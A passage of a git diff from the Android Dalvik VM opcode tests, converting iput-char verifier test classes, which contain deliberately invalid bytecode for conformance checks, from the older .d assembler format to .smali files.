+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_p1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.d
deleted file mode 100644
index 4cccb49..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_15.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_15
-.super dot/junit/opcodes/iput_char/d/T_iput_char_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_char/d/T_iput_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 1
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_1.st_pvt1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali
new file mode 100644
index 0000000..5a2284b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_15.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_15;
+.super  Ldot/junit/opcodes/iput_char/d/T_iput_char_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_1;->st_pvt1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.d
deleted file mode 100644
index 61e503d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_17.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_17
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_17.st_i1 C
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali
new file mode 100644
index 0000000..8d352d4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_17.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_17;->st_i1:C
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.d
deleted file mode 100644
index a9d9ac9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_18.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_18
-.super java/lang/Object
-
-.field public  st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       iput-char v1, v2, dot.junit.opcodes.iput_char.d.T_iput_char_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali
new file mode 100644
index 0000000..3e30c90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_18.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_18;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       iput-char v1, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.d
deleted file mode 100644
index cc8cd62..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_2.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_2
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-char v0, v2, dot.junit.opcodes.iput_char.d.T_iput_char_4.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali
new file mode 100644
index 0000000..7d6c00e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_2.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-char v0, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_4;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.smali
new file mode 100644
index 0000000..1c4b536
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_20.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_char/d/T_iput_char_20;
+.super Ljava/lang/Object;
+.source "T_iput_char_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    iput-char p0, p0, Ldot/junit/opcodes/iput_char/d/T_iput_char_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.d
deleted file mode 100644
index b9f7cc6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_21.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_21
-.super java/lang/Object
-
-.field public  st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 12    
-       iput-char v0, v3, dot.junit.opcodes.iput_char.d.T_iput_char_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali
new file mode 100644
index 0000000..d391d08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_21.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_21;
+.super  Ljava/lang/Object;
+
+.field public  st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 12    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.d
deleted file mode 100644
index ca94dbd5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_22.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_22
-.super java/lang/Object
-
-.field public  st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-char v0, v3, dot.junit.opcodes.iput_char.d.T_iput_char_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali
new file mode 100644
index 0000000..753c676
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_22.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_22;
+.super  Ljava/lang/Object;
+
+.field public  st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.d
deleted file mode 100644
index 3494a90..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_23.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_23
-.super java/lang/Object
-
-.field public  st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-char v0, v3, dot.junit.opcodes.iput_char.d.T_iput_char_23.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali
new file mode 100644
index 0000000..6f385bc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_23.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_23;
+.super  Ljava/lang/Object;
+
+.field public  st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_23;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.d
deleted file mode 100644
index d148a4b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_24.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_24
-.super java/lang/Object
-
-.field public  st_z Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       iput-char v0, v3, dot.junit.opcodes.iput_char.d.T_iput_char_24.st_z Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali
new file mode 100644
index 0000000..94a1ff2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_24.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_24;
+.super  Ljava/lang/Object;
+
+.field public  st_z:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       iput-char v0, v3, Ldot/junit/opcodes/iput_char/d/T_iput_char_24;->st_z:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.d
deleted file mode 100644
index 05233a1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_3.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_3
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-char v0, v2, dot.junit.opcodes.iput_char.d.T_iput_char_3.st_i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali
new file mode 100644
index 0000000..39df7e3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_3.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_3;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-char v0, v2, Ldot/junit/opcodes/iput_char/d/T_iput_char_3;->st_i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.d
deleted file mode 100644
index 8182241..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_30.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_30
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iput_char/d/T_iput_char_30
-    const v1, 0
-    iput-char v1, v0, dot.junit.opcodes.iput_char.d.T_iput_char_30.st_i1 C
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali
new file mode 100644
index 0000000..b6867f1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_30.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_char_30.java"
+.class  public Ldot/junit/opcodes/iput_char/d/T_iput_char_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:C
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_30;
+    const v1, 0
+    iput-char v1, v0, Ldot/junit/opcodes/iput_char/d/T_iput_char_30;->st_i1:C
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.d
deleted file mode 100644
index bd52754..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_char_31.java
-.class public dot.junit.opcodes.iput_char.d.T_iput_char_31
-.super java/lang/Object
-
-.field public  st_i1 C
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    const v1, 0
-    iput-char v1, v0, dot.junit.opcodes.iput_char.d.T_iput_char_31.st_i1 C
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali
new file mode 100644
index 0000000..0194030
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_char/d/T_iput_char_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
